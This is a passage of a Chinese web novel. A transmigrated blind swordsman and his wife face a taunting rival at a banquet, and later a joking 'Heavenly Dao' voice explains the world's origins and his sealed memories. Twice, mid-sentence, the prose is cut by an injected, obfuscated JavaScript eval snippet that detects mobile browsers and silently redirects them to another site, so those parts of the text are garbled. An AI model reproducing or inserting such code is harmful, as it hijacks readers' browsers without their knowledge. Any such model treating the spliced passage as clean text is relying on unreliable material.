随后,更有小姐即席挥毫,七步成诗,文采斐然,令一众文人出身的官员也抚掌赞叹;或是谈起经商之道、海外奇货、乃至一些闻所未闻的机巧之物,头头是道,目光灼灼,引得不少勋贵子弟都侧目不已。 每有一人出场展示,林芊雅便会在间隙,借着添茶理袖等动作,用那只有两人能听见的耳语音量,简洁地提上一两句此女的家世背景,以及近来突显才艺的缘由。 但叶英听得出来,她对这些闺秀突如其来的近乎全能的才华,心下是存着疑的,只是不便,也不能宣之于口。 他的目光,其实大多时候并未流连于那些卖力表演的闺秀身上,而是落在妻子的沉静侧颜上。 比起场中那些或矜持或热切或暗藏机锋的展示,他倒是觉得,自家夫人这副微微蹙着眉尖一本正经低声解说的认真模样,反而更有趣些。 她眼底那点不易察觉的疏离与无奈,也比那些浮华夸张的表演,更让他觉得真实可亲。 场中气氛热烈,丝竹悦耳,笑语不断,仿佛成了这些才华横溢的小姐们竞相绽放争奇斗艳的华美舞台。 叶英静静看着,听着,心中那份自苏醒以来便时常浮现的与周遭世界的隔阂与疏离感,在此刻无声地又加深了一层。 他不动声色地将视线从场中移开,重新落回身旁之人的身上。 唯有看着她沉静的眉眼,感受着她指尖传来的微凉温度,那份因外界光怪陆离而生的无处不在的疏离与怪异感,才会被一种实实在在的暖意与安心悄然取代。 外头如何纷扰,世人如何奇异,于他而言,其实并无分别。 他在意的,从来也只有身边这一人而已。 27. 夫君……我好累 两人正打算寻个稍微清净些的角落坐下,前方却传来一阵不算小的动静。 南安王世子萧琰摇着扇子,身边跟着个身段窈窕容貌娇媚的女子,正是那花魁出身的夭华。两人一前一后,径直朝着叶英和林芊雅这边走了过来,显然是有意为之。 到了近前,萧琰停下脚步,扇子“唰”地一收,目光先是扫过林芊雅,眼底掠过一丝复杂难辨的情绪,随即嘴角一扯,视线便钉在了叶英身上。 他身边的夭华也跟着停步,一双水盈盈的眸子好奇地打量着叶英,眼神里带着几分估量,几分不易察觉的艳羡,还有一丝藏得很好的对林芊雅的微妙敌意。 “林小姐,哦,现在该称叶夫人了。” 萧琰开口,语气拖得有些长,透着股刻意为之的散漫。 “方才离得远瞧不真切,这会儿近看,尊夫这通身的气派……啧,果然与众不同。”他话锋一转,笑容里掺进明显的讥诮 “只是不知叶……兄?是唤叶兄吧?久闻江湖人士豪迈不羁,想必于这诗词歌赋、琴棋书画的风雅之事上,另有一番粗犷见解?今日这赏花宴,倒是难得,能请动叶兄这般人物莅临,着实令蓬荜生辉啊。” 他这话,明着是捧,暗里全是刺。粗鄙武夫,不懂风雅,附庸风雅,这几个词几乎就写在脸上了。 夭华在一旁用团扇掩着唇,配合地发出一声意味不明的低笑,眼波流转间带着看热闹的意思。 周围的空气似乎凝滞了一瞬,不少目光悄悄投注过来,等着看这场新旧怨偶碰面,以及这位格格不入的白发郎君如何应对。 林芊雅脸上那点惯常的浅笑也淡了下去,眼神微冷。 她正待开口,身侧的叶英却先有了动作。 他既未动怒,也未露出被冒犯的神色,甚至没有去看萧琰那写满挑衅的脸。 他只是微微偏过头目光平平地扫过萧琰开开合合的嘴,又掠过一旁巧笑倩兮的夭华,然后,用他那惯常的没什么起伏的声调,清晰地问道: “你们一直说话,不渴吗?” 声音不高,却足以让周围竖着耳朵的人都听清楚。 这话问得太过出人意料,以至于萧琰脸上那刻意维持的讥诮笑容瞬间僵住,半张着嘴,后面准备好的更刻薄的话全堵在了喉咙里。 他身旁的夭华也愣住了,掩唇的团扇忘了放下,眼睛微微睁大,像是没听明白。 他们预想了各种反应,愤怒反唇相讥、隐忍退让、或是故作清高不屑一顾——却独独没料到会是这么一句平淡无奇,甚至有点……莫名其妙的问话。 渴吗? 这跟眼下剑拔弩张机锋暗藏的气氛有一文钱关系吗? 叶英却似乎真的只是随口一问,问完便收回了目光,那神情仿佛只是在陈述一个客观事实: 说了这么多话,费了这么多口舌,难道不消耗口水么? 林芊雅最先反应过来。 她心底那点因对方挑衅而生的冷意,顷刻间被这句直白到有些好笑的回应冲散了不少。 她几乎要忍不住嘴角上翘,却强行抿住了,只顺势轻轻拉了一下叶英的衣袖,声音恢复了平日的温婉,却带着一丝显而易见的疏淡: “世子与这位姑娘想必还有高论要叙,我们便不打扰了。”她抬眼,目光平静地掠过萧琰僵住的脸,“此处喧嚣,我身子也有些乏了,夫君,我们回去吧。” 说罢,不再给萧琰任何反应的机会,牵着叶英的手,转身便朝园门方向走去。她步子不疾不徐,背脊挺直,留下一个干脆利落的背影。 萧琰站在原地,脸色一阵青一阵白,握着扇骨的手指捏得发紧。 周围那些隐约投来的带着看戏意味的目光,此刻仿佛都变成了无声的嘲笑,扎在他脸上。他憋了一肚子更恶毒的话,可对着那两个已然离去的背影,却一个字也吐不出来,只觉胸口堵得发慌。 …… 在他们离去的小径岔路口,一丛开得正盛的花后面,一个看上去约摸才八九岁穿着鹅黄衫子扎着双马尾身上穿金戴银全是挂饰的小丫头正瞪圆了眼睛,扒着花枝,死死盯着叶英离去的方向。 小姑娘嘴巴微张,满脸的不可思议,甚至抬起手用力揉了揉眼睛,又踮起脚尖仔细看去。 待那白发身影彻底消失在门外,她才猛地放下手,小脸上写满了震惊,嘴里无意识地喃喃出声,声音低得只有自己能听见: “wc……我师父活了?!” 她像是突然想起了什么,猛地一跺脚,急急地在心里呼喊: “系统!系统!怎么回事?!你快出来看看!刚才那个人……那个人是不是……” 可她脑海里还是一片寂静,并无任何回应。 小姑娘急得跺了跺脚,再探头去看时,那两道身影早已消失不见,仿佛刚才那惊鸿一瞥只是她的错觉。 她拧着眉头,站在原地发了会儿呆,小脸上神色变幻不定,满是惊疑与困惑。 这一切,已经登上马车缓缓驶离公主府的叶英与林芊雅,自然是毫不知情。 …… 回程的马车上,车厢轻轻摇晃。 林芊雅靠在厢壁上,终于忍不住,“噗嗤”一声笑了出来。 起初只是肩膀微微耸动,后来笑意越来越明显,眉眼弯弯,苍白的脸颊也染上了一层淡淡的红晕。 叶英有些不解地看着她。 他并不觉得方才自己那句话有何可笑之处,他当时确实觉得那两人聒噪,话又多又没什么意思,平白耗费口舌。 “笑什么?”他问。 林芊雅好不容易止住笑,抬手用帕子按了按眼角笑出的泪花,声音里还带着未尽的笑意: “我笑那萧琰……他那副样子,活像被人硬塞了个青蛙在嘴里,吞不下去又吐不出来,脸都憋绿了。”她想起萧琰和那夭华瞬间僵住目瞪口呆的表情,又觉得一阵畅快,“夫君你那一句……可真是……” 她一时找不到合适的词来形容,只是笑着摇头。 她见过太多应对挑衅的方式,或针锋相对,或隐忍避让,或巧言周旋,却从没见过叶英这般……这般直接到近乎天真的应对。偏偏这天真一击,效果却出奇得好,让那蓄足了力的一拳狠狠打在了空处,反倒让对方成了笑话。 叶英看着她笑得开怀,虽然自己不太明白这笑点究竟在何处,但见她眉眼生动,一扫在宴席上那份端着的沉静疏离,显露出几分少女的鲜活气来,他心里便也跟着松快了些。 罢了,她开心,总是好的。 “嗯。”他低声应了一句,没再多问,只伸手将她颊边一缕笑乱了的发丝轻轻拨到耳后。 林芊雅笑了一会儿,渐渐平息下来,靠着他,望着车窗外流动的街景,心里那点因宴会而生的烦闷,似乎也随着那阵笑声消散了大半。 然而,这份轻松并未持续太久。 马车回到相府,刚在二门停下,便有管家迎上来,神色间带着一丝不同寻常的紧促。林芊雅下车,便问了一句: “爹爹可回来了?” 管家连忙躬身回道:“回小姐,老爷半个时辰前便回府了,直接去了书房,吩咐了任何人不得打扰。” 林芊雅心中微微一动。 今日并非大朝会的日子,父亲往日若无事,下朝后多半会与同僚小聚,或是去衙门处理公务,很少这么早直接回府,还严令不得打扰。 她与叶英对视一眼,都从对方眼中看到了同样的疑虑。 两人快步向内走去,经过书房所在的院落时,只见书房门窗紧闭,外面连个伺候的小厮都没有,静得有些反常。 林承泽的贴身长随林安正垂手守在廊下,见到他们,连忙上前行礼,脸上也带着掩饰不住的凝重。 “林伯,”林芊雅停下脚步,低声问,“爹爹他……可是朝中有什么事?” 林安抬眼,飞快地看了看她和叶英,嘴唇嚅动了一下,似有千言万语,最终却只是深深叹了口气,压低声音道: “小姐,姑爷,老爷回来时脸色很不好看,只吩咐了不许人打扰,老奴……也不好多问。但瞧着……怕是朝堂上不太平。” 林芊雅的心往下沉了沉。 父亲为官多年,素来沉稳,能让他露出如此疲态甚至需要闭门独处的事情,绝不会小。 她沉默了片刻,知道从林安这里问不出更多,父亲既不愿说,便是打定了主意自己扛着。 “知道了,”她点了点头,声音有些发涩,“烦请林伯多留意着,若是爹爹要传饭或是要什么,立刻来报我。” “是,小姐放心。” 离开书房院落,回到他们自己的观澜院,一路上两人都没再说话。 方才马车里那点轻松笑意,早已荡然无存,取而代之的是一种山雨欲来的压抑感。 才安生了多久? 刘家的事尘埃落定仿佛还在昨日,新的风波便又迫近了。 而且看父亲的反应,这次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224192|197544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的事,恐怕比刘家贪墨修堤款更加棘手,牵扯更深。 进了卧房,春华和秋月上前伺候更衣。林芊雅挥了挥手,让她们都退下,只留了一盏灯烛。 她没有像往常那样,先去查看今日商铺送来的账目,或是安排明日的事项。 她只是走到床边,踢掉了脚上的软鞋,然后身子一歪,便直接靠进了紧随其后的叶英怀里。 叶英被她靠得微微一怔,随即手臂便环了过来,稳稳接住她,将她整个人圈在胸前。 “夫君,让我靠一靠。”她把脸埋进他衣襟,声音闷闷地传来,带着显而易见的疲惫,“就一会儿。” 叶英没说话,只是依言将她抱得更牢了些,让她全身的重量都倚靠在自己身上。 他侧身坐在床沿,让她能靠得更舒服。 林芊雅闭上眼睛,鼻尖萦绕着他身上清冽干净的气息,耳边是他沉稳有力的心跳。外面世界的纷扰、朝堂上未知的危机、父亲沉重的背影…… 这一切都暂时被隔绝在这方温暖的怀抱之外。 可她心里清楚,这只是暂时的逃避。 风雨欲来山满楼,避无可避。 她虽派了机灵的小厮去门房和各处悄悄打听,但一时半刻还没有消息传回。 能让父亲如此讳莫如深严密封锁消息的,必然是震动朝野的大事,且与林家干系匪浅。 是边关战事?是国库亏空? 还是……哪位皇子,或者陛下本人,又出了什么要命的幺蛾子? 她脑子里乱糟糟的,各种猜测纷至沓来,却又理不出头绪。只觉得累,一种从骨头缝里渗出来的疲惫。 她才十六七岁,即便自幼失母,被迫早早掌家,学着周全处事,算计人心,可说到底,她也只是个刚刚及笄不久的少女。 她也会怕,也会慌,也会希望有人能替她撑起一片天,而不是永远需要她绷紧了神经,去应对一轮又一轮的明枪暗箭。 父亲疼爱她,尽可能地将风雨挡在门外,可有些事,终究是挡不住的。 而如今,她成了家,肩上似乎又多了另一重责任,她的夫君。 她既怕连累他,心底深处,却又无比贪恋此刻这点难得的可以全然依赖的温暖与安稳。 “夫君……”她在他怀里轻轻动了动,含糊地唤了一声。 “嗯?”叶英低下头,下巴轻轻蹭了蹭她的发顶。 “我好累……”她的声音更闷了,带着一丝不易察觉的几乎从未在她身上出现过的脆弱和鼻音。 这话没头没尾,但叶英听懂了。 他抱着她的手臂又收紧了些,另一只手摸索着,找到她搁在膝上的手,然后缓缓坚定地将自己的手指插入她的指缝,十指交握,掌心紧贴。 他的额头轻轻抵着她的发顶,一个无声的带着体温的依靠。 他心里是心疼的。 疼她小小年纪便要承受这么多,疼她明明累极了却还要强撑出一副冷静自持的模样,疼她连喊累都带着克制。 可他不是个擅长说甜言蜜语,会温言软语哄人的人。 他甚至不知道此刻该说些什么来安慰她。 说“别怕,有我”?可他如今记忆全无,身份成谜,连自己究竟能做什么,有多少力量可以倚仗都不清楚,又如何给她确切的承诺? 他知道,她此刻需要的或许也不是空洞的承诺。 她需要的,仅仅是一个可以暂时卸下所有防备安心依靠的怀抱,一个沉默却坚实的支撑。 于是,他什么也没说。 只是在长久的安静的相拥之后,他微微偏过头,一个很轻很珍重的吻,落在了她光洁微凉的额头上。 不是唇,是额头。 不带情欲,只有满满的怜惜、心疼,和一种无声的誓言——无论前路如何,他总会在这里,在她一回头就能靠住的地方。 他想替她把所有的麻烦都解决掉,想让她再也不用蹙眉,再也不用强撑。可眼下,他所能给的,也唯有这片刻的安宁与拥抱了。 林芊雅感受着额头上那一点温热柔软的触感,一直紧绷的心弦,仿佛被一只温柔的手轻轻拨动了一下,酸酸软软的情绪涌上来,冲得她眼眶发热。 她没动,也没睁眼,只是更紧地回握住了他的手,将脸更深地埋进他怀里。 窗外,暮色渐沉,不知何时又飘起了淅淅沥沥的秋雨敲打着窗棂,更显得室内这一隅相拥的温暖与静谧,珍贵得如同偷来的一般。 28. 老婆竟然是女主? 『受到异常能量冲击』 『检测主线任务支线中,检测支线已过半』 『能量到达顶点,恢复记忆中』 『恢复失败……错误……程序错误,汇报上级主管反馈』 『正在连线中』 『连线成功——』 红帐之内,气息灼热,却又渐渐归于平缓。 林芊雅浑身酸软,带着薄汗,依偎在叶英怀里,脸颊贴着他温热的胸膛,听着那沉稳有力的心跳,白日里积压的惶惑与疲惫,似乎倒都被这亲密无间的温暖驱散了不少。 她闭着眼,手指无意识地绕着他一缕散落在枕上的白发,心底便是难得的安宁与依赖。 叶英拥着她,手臂环在她纤细的腰后,掌心贴着她微凉的肌肤。 他低头,下颌轻轻蹭了蹭她汗湿的额发,心中那份因她白日脆弱而生出的疼惜与保护欲,此刻便化作一种更为切实的拥有感与责任。 他并非重欲之人,今夜这般,与其说是情动,倒不如说是想用最直接的方式确认彼此的存在,安抚她不安的心神,也好安抚自己那份对于未知风雨和无力周全的隐约焦躁。 他正要低头,再轻吻一下她汗湿的鬓角,然而,就在这温存未散,心神最为松懈的一刻—— 毫无征兆地,一声极不正经,甚至带着点戏谑笑意的声音,直接在他脑海里炸开: 『Hello~少侠你好呀!洞房花烛夜,良辰美景时,有没有感觉人生达到了巅峰?』 叶英整个人骤然僵住。 那声音来得太突然,太诡异,完全不是从耳朵听进来的,倒像是直接响彻在意识深处。语气轻浮得如同市井闲汉,却精准地刺破了他此刻最私密的境地。 他怀里的林芊雅似乎也察觉到他身体瞬间的紧绷,迷蒙地睁开眼,含糊地“嗯?”了一声,带着询问。 叶英却无暇回应。 什么东西?!是刺客?还是……他从未听说过的能侵入神智的邪术? 他浑身骤然绷紧,瞳孔瞬间收缩。他几乎是本能地,以快得不可思议的速度,一手抄起放在床榻内侧的秋水剑,另一手迅速扯过散落的锦被,将怀中尚在微微喘息面颊潮红的林芊雅严严实实裹住,同时拉过自己脱下的外袍披在她肩头。 整个过程无声迅疾,不过眨眼之间。 他猛地坐起,将林芊雅牢牢护在身后,另一手持剑横于身前,目光如电,扫视着昏暗帐内每一个角落,周身气息瞬间变得冰冷锐利,哪还有半分方才的温存。 “何方妖物?现身!”他声音压得极低,却带着刺骨的寒意,剑尖微微震颤,指向感知中最异常的虚空。 林芊雅被他这一连串迅疾如风的动作彻底惊醒了。 她裹在锦被里,只露出一张苍白惊慌的脸,下意识地紧紧抓住他背后的衣料。她虽不明所以,但见叶英如临大敌全身紧绷的模样,心立刻提到了嗓子眼,下意识地蜷缩起身子,紧紧靠在他宽阔的背后,一只手死死揪住裹在身上的锦被边缘,脸色也发白了。 她什么也没听到,什么也没看到,可叶英的反应绝不会作假——这屋里,怕是有东西! 『哎呀呀,别紧张嘛,年轻人!火气这么大对身体不好哦~』那声音又在脑子里响起来,语气轻浮得令人不适,『把剑放下,放下。我又不是来打架的,我这么爱好和平~』 “装神弄鬼。”叶英声音更冷,“既非妖物,何故藏头露尾,侵人神智?意欲何为?” 『啧,真没幽默感。好吧好吧,自我介绍一下——』那声音清了清嗓子,用一种近乎朗诵的夸张的语调宣布:『很荣幸地通知你哟,亲~我就是本世界至高无上可爱又迷人的天道本道哦!』 天道?! 叶英握剑的手几不可查地抖了一下,不是恐惧,而是荒谬。 即便他记忆残缺,对天道二字也有模糊的概念——那该是至高无上冥冥之中主宰万物运转的法则,是玄之又玄不可言说的存在。 可此刻在他脑子里说话的这东西……这嬉皮笑脸、不三不四的腔调,跟天道有半分钱关系? 饶是他心性沉稳,此刻也感到一阵强烈的错愕与荒诞。警惕丝毫未减,但那冰冷的杀意里,却掺进了一丝难以置信的茫然。 这到底是什么邪术? 还是他重伤未愈,损了神魂,产生了如此诡异的幻听? 『是的,是的,不是幻觉,是真实的天道哟,如假包换,童叟无欺!』 那声音仿佛能洞悉他心中所想,立刻补充道,语气活像街边招揽生意的伙计。 『不信?你想想,除了本天道,还有谁能这么帅,这么直接地钻进你脑子里跟你唠嗑?』 叶英闭了闭眼,强压下一剑斩向虚空的冲动。 他目光依旧警惕地梭巡,试图找出这声音的来源,哪怕一丝一毫的异常波动也好,却一无所获。 这未知的存在,偏偏挑在这种时候这种情境下出现,绝非善意。 尤其是想到身后衣衫不整惊惶未定的妻子,他心中怒意与寒意便交织起来。 “凭你空口白话,我便要信?” 『啊这……』天道的声音听起来有点苦恼,『证据什么的……现在还真没有。不过呢,你难道就不好奇吗?叶……英?』 最后两个字被它念得百转千回,带着一种洞悉一切的玩味。 “好奇什么?”叶英的声音依旧冷硬,但他握着剑柄的手指,几不可查地收紧了一分。 身后的林芊雅似乎感受到了他情绪细微的变化,抓着他衣料的手也微微用力。 『好奇……你到底是谁?从哪儿来?为什么会穿着一身只有皇家才能用的明黄袍子倒在路边?为什么你打听的藏剑山庄在这世上查无此处?还有——』 它刻意拖长了调子『为什么你脑子里,关于过去的记忆,无论怎么回想都想不起来,只留给你一点剑招心法的边角料?』 这一连串问题,像是一把把钥匙,精准地捅开了叶英心底最深处的迷雾。 他是谁?从何处来? 为何重伤濒死出现在官道?那身刺眼的金黄袍服意味着什么? 藏剑山庄何在?为何他遍寻无踪,仿佛被整个世界遗忘? 能够遇到妻子,倒是得天之幸。 可人总不可能没有家,而他的家又在何方? 而最让他无力的,正是那一片空茫的记忆之海,唯有剑意如孤岛沉浮。 这些疑问日夜啃噬着他,是他失忆以来所有茫然与疏离的根源。 此刻,却被这个自称天道的诡异存在用如此轻佻却又直击要害的方式点破。 他怎么可能不好奇? 他缓缓吸了一口气,再缓缓吐出。怀中的林芊雅似乎也从他身体的紧绷和骤然的沉默中察觉到了异样,担忧地轻轻唤了一声: “夫君?你……你到底怎么了?别吓我……” 叶英没有回头,只是用空着的那只手,向后轻轻拍了拍她裹着锦被的手臂,一个无声的安抚。但他的目光,却仿佛穿透了床帐,投向了虚无的某处,声音比刚才更低,也更沉: “你知道?” 那天道似乎很满意他这反应,语气里带上了毫不掩饰的得意: 『当然知道啦!本天道无所不知,无所不晓嘛!我可是这个世界说明书兼后台管理员!』 它顿了顿,像是在吊胃口一样,『怎么样?想不想……听个故事?关于这个世界的真相,还有你的……真正来历?』 “说。”叶英言简意赅,剑尖未曾放下半分。 他必须知道,哪怕这声音所言荒诞不经,哪怕可能是个陷阱,他也必须抓住这唯一可能揭示他过往的线索。 『好嘞!客官您听好——』 天道的声音变得悠远了些,仿佛在讲述一个古老的传说,但那份戏谑依旧挥之不去。 『话说在很久很久以前,有一位闲得无聊……啊不是,是心怀伟大实验精神的上位存在,随手点化了一部……嗯,你可以理解为一部充满了既定命运和套路桥段的书卷,把它变成了眼下这个世界的雏形。』 它的声音在叶英意识里回荡,描绘着令人难以置信的图景。 叶英眉头紧锁。 书卷?世界雏形? 这些概念远超一个武人的日常思虑,荒诞不经,可这诡异存在的叙述方式,却带着一种难以言喻的真实感,让他无法像听到市井怪谈般一笑置之。 难道这荒谬的言论,竟是真的?这个世界,连同他自己,都可能是某种更高存在的造物或实验品? 这个念头带来的不适与寒意,甚至超过了先前对妖物的警惕。 『不过呢,那位存在也就是我亲爱的造物主大人点化之后,便随手丢开不管了。所以啊,这个世界,从一开始就不算个完全体,倒像个照着模子刻出来只画了一半的草图。没错,本天道被造物主大人无情地抛弃了呢嘤嘤嘤???????????, 而我,就是这个半成品世界自行诞生的……意志?管理员? 随便你怎么叫啦。我的工作,就是想方设法让这个世界变得更真实,更完整。』 『世界虽不完全,但既然诞生了,便自有其运行之理,也就有了我——你可以理解为这个世界自行萌生的意志,你们人给我起的名字……天道?总之,我自然是希望这个世界能变得更好、更完整、更真实,而不是永远像个虚浮的影子。』 『为了这个目标,我尝试了很多方法。其中最顺手的一招,便是撒下许多种子。』 那声音里带上了一丝玩味。 『我在这个世界里,创造了不少特殊的人,赋予他们一些与众不同的记忆或能力,让他们觉得自己是天选之子,或是什么穿越时空之人。 我引导他们去折腾,去改变,去碰撞既定的命运,指望着他们之中能诞生出真正的主角,带领这个世界挣脱虚妄,落地生根。 嗯,你可以叫他们天选之人,或者别的什么。』 叶英的眉心几不可查地蹙了一下。 街上那些过于标准的英雄救美,想起宴席上那些才华横溢得突兀的闺秀,想起风停云那漏洞百出的奇遇…… 原来,竟是如此? 这荒诞离奇的世相之下,竟是这般缘由? 『这些人嘛,往往有些特别,想法新奇,会些旁人不会的东西,或者忽然就性情大变,才华横溢。它指望着靠这些种子搅动风云,生出些波澜壮阔的故事,好让这世界更真几分。』 『可惜啊』天道的声音透出明显的失望和一丝烦躁,甚至还带着点不喜『挑来选去,试验了不知多少种子,从市井商人到后宫妃嫔,从勋贵子弟到甚至龙椅上的小皇帝,都没一个成器的。不是自己玩脱了,就是被这世界的惯性吞没,变得和那些我设置好的背景板也没什么两样。世界该怎么样,还是怎么样。』 『不过呢,世事总有意外。有些种子,并非我亲手所撒,而是不知怎么,从别处掉进来的。这样的种子,因为来历不同,根底也不同,往往能带来些意想不到的变数。』 『他才是真正的异数,来自一个与此地法则截然不同的真实世界。 他的灵魂本质,他的思维方式,本身就携带着让此界锚定真实的可能性。有趣的是,他自己似乎并未完全明晰这一点,只是凭着本能在此地挣扎求存,竟也一步步走到了如今的位置。』 天道的声音里带上了一丝算计得逞般的愉悦。 『世界嘛,总是趋近于完整的。一个真正稳固的世界,需要坚实的锚点。』 『尤其是那些能牵动世界脉络关乎气运流转的关键之人。 这样的人,一个本土所生却挣脱了原有轨迹的锚,和一个来自他处根底不同的异数,若是能相遇相合,产生的牵扯与变化,往往比千百个寻常种子加起来,倒更能推动世界朝着真实迈进。』 天道声音充满意有所指:『我并未过多干预,只是顺水推舟,稍微引导了一下你们相遇的时机与方式。毕竟,一个重伤失忆、来历成谜却实力不俗的异界来客,与一个身处漩涡、需要助力又身负世界锚点之责的相府千金……还有比这更合适的故事开端吗?』 叶英感觉背后林芊雅抓着他的手又紧了一下,她似乎因他长久的沉默和身体的紧绷而愈发恐惧。 他并非愚钝,这番话里隐晦的指向,让他心头剧震。 本土所生挣脱轨迹的锚?来自他处根底不同的异数? 难道说的是芊雅和他? 这个推测让他呼吸微微一滞。 如果这一切是真的,那么他与芊雅的相遇结合,难道并非偶然,而是这个天道有意引导甚至算计的结果? 这个认知让他心底骤然涌起一股冰冷的怒意,仿佛他们之间纯粹的情感被某种无形的丝线操控玷污了。 他无法向她解释这令人窒息的可能性,便只能更用力地握回去,拇指轻轻摩挲她的手背,试图传递一丝无言的安慰。 『她是此界土生土长的魂魄,却因继承了林承泽那份特殊的血脉与灵魂烙印,成为了连接此界虚妄与真实可能之间最稳固也最自然的锚点。她是这个世界自行孕育的,却又独一无二的变数。 我观察了很久,最终确定,唯有她,才是能让这个世界走向完整所必需的女主。』 “女主?” 叶英终于忍不住在意念中低低重复了这个词,带着困惑与一丝本能的反感。 他的芊雅,是他的妻子,是一个活生生的人,不是什么女主。 这个称呼将人变成了角色,将真切的情感与命运简化成了戏文里的桥段,这让他感到极度的不适,甚至有些恶心。 『没错哦,女主。一个世界故事的核心之一。』天道理所当然地肯定,『不过,只有女主是不够的。一个完整的故事,一个稳固的世界,需要相对应的男主来平衡,来共同承担这份真实的重量。林承泽不行,他终究是外来者,根基不在此。我需要的,是一个同样具备高维特质,又能与此界产生深刻联结的男主。』 它的声音变得飘忽起来,仿佛在回忆。 『说来也巧。大约在与此界相邻的另一个颇为强大稳固的世界里,发生了一点小小的意外,导致两界壁垒产生了细微的紊乱和交融。一些不属于此界的人与物,便因这种紊乱,偶然被抛了过来。』 叶英脑海中瞬间闪过那身金黄的袍服,闪过藏剑山庄这个查无音讯的名字,闪过自己空荡荡的记忆和仿佛与生俱来的剑术…… 难道…… 他来自另一个世界? 那个地方才是他真正的归处? 这念头带来一阵尖锐的刺痛和更深的茫然。 若真如此,他究竟是谁?在这里的这一切,又算什么?他与芊雅的缘分,难道从一开始就建立在一个错误的基础上?他是掉进来的,而她是被选中的。 『而你,叶英,就是那个最大的意外惊喜!』天道的语气兴奋起来,『你本来不属于这里,你是从另一个非常强大非常真实的大唐世界,因为两界意外碰撞产生的缝隙,掉过来的!』 大唐? 这两个词如同惊雷,在他空白的记忆上炸开一丝微光。 一种强烈的源自灵魂深处的熟悉感与悸动汹涌而来,几乎让他握不住剑。 心脏像是被一只无形的手攥住,又酸又胀。 原来他真的有来处,有归属。 可那个归属,却仿佛隔着无尽虚空,遥不可及。 『更妙的是,你掉过来的时候,身上还带着一点那个世界碰撞时产生的纪念品——一块蕴含了时空规则碎片的异铁。那东西让你看到了一些……嗯,不该看到的东西,比如你未来可能的命运轨迹,一些剑道感悟什么的。』 未来?命运? 叶英的心脏重重一跳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224193|197544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 原来他那些零碎莫名的剑道领悟,那些偶尔闪过的仿佛预知般的画面,竟有此般来历。 『但是呢,』天道的语气忽然变得有点幸灾乐祸,又有点无奈。 『你原来的世界,也有个管事的,我们暂且叫他老头子吧。那个老头子发现你这个重要NPC居然被剧透了未来,还带着可能扰乱两个世界平衡的异铁能量,一下子就急了!他怕时间线乱套,就想赶紧给你做个记忆加密,把你这段不该有的预览封印起来』 老头子?封印? 叶英猛地想起自己脑海中那些时而闪现却又无法捕捉的破碎画面,那种明明有什么呼之欲出却被无形屏障阻隔的滞涩感。 原来那不是简单的失忆,而是被强行上了锁! 『结果呢,哈哈,』天道笑出了声是明晃晃的幸灾乐祸 『那老头子业务不太熟练,加上两界能量在那时候乱得一塌糊涂,他一个操作失误,啪!加密过头了,直接把你大部分记忆连带着意识都给干懵了!然后你就被混乱的时空能量卷着,啪叽一下掉到了我们家芊雅丫头路过的官道上,成了个重伤失忆还眼盲的小可怜儿哦~现在都没看到他来找人,想来应该是觉得你带着未来的记忆会对那个世界产生极大的影响,所以到现在为止都没有看到他来找我要你哦。』 原来如此! 所有的线索在这一刻轰然贯通。 他为何重伤,为何失明,为何记忆全无,为何对藏剑二字有反应却遍寻不到……根源竟在于两个世界的碰撞与一次失败的救援! 震惊过后,是更深的寒意。 他的人生,他的遭遇,竟只是更高层面存在操作失误的结果? 一种被无形大手随意拨弄的无力感,混合着对自身处境的荒谬感,沉沉压了下来。 但随即,一种更为强烈的愤怒和不甘在他心底升腾。 他不接受! 他的人生,他的情感,他与芊雅相知相守的每一天,都绝非任何存在可以轻蔑定义的失误或剧情!即便起点源于混乱,过程也绝非虚假。 他不由自主地,再次握紧了身后林芊雅的手。 不管她是所谓的女主,还是什么锚点,在他这里,她就只是林芊雅。是在他最无助时给予他温暖和生机的人,是让他重新体味到家之含义的妻子。那份为他割腕放血的决绝,那份在风雨中为他撑伞的坚韧,那份望着他时眼底的依赖与爱意,都是真切切不容置疑的。 他是来自另一个世界的异数又如何?他是被天道算计相遇的男主又如何?他只知道,此刻怀中的人,是他愿意用生命去守护的真实。 这无关剧本,无关设定,只关乎本心。 『现在明白了吧?』天道的声音将他拉回现实,『你脑子里的记忆,不是自然遗忘,是被一个非常强大的外力给强行封印了。那封印结实得很,凭你现在的情况,靠自己根本解不开。』 叶英深吸一口气,强迫自己冷静。 过去的迷雾似乎被拨开了一些,但前方的路依然被浓雾笼罩。 他需要信息,需要力量,需要摆脱这种被动的局面。 “你既能知晓,可能解开?” 『哎呀,这个问题问到点子上了!』天道的声音又变得油滑起来,『本天道嘛,虽然神通广大,但那个老头子的封印手法有点特殊,直接硬解比较麻烦,而且需要消耗的本源力量可不小……』 “条件。”叶英打断它,不想再听这些弯弯绕绕。 他需要记忆,需要知道自己是谁,来自哪里,背负着什么。 他不能永远做一个没有过去的人,更不能让这份未知在未来某天成为伤害芊雅的隐患。 同时,那个遥远的大唐,那些模糊的责任,也像一根无形的线,牵动着他的灵魂。 他需要恢复,需要选择,而不是浑噩度日。 『爽快!』天道赞了一声,『其实也不难。你想要恢复记忆,甚至将来有机会回到你原来的世界,都需要能量。 这个能量,来自于这个世界运行产生的故事力,或者说命运之力。你需要参与进来,推动一些关键的事情发生,让这个世界的故事更精彩,更走向真实。 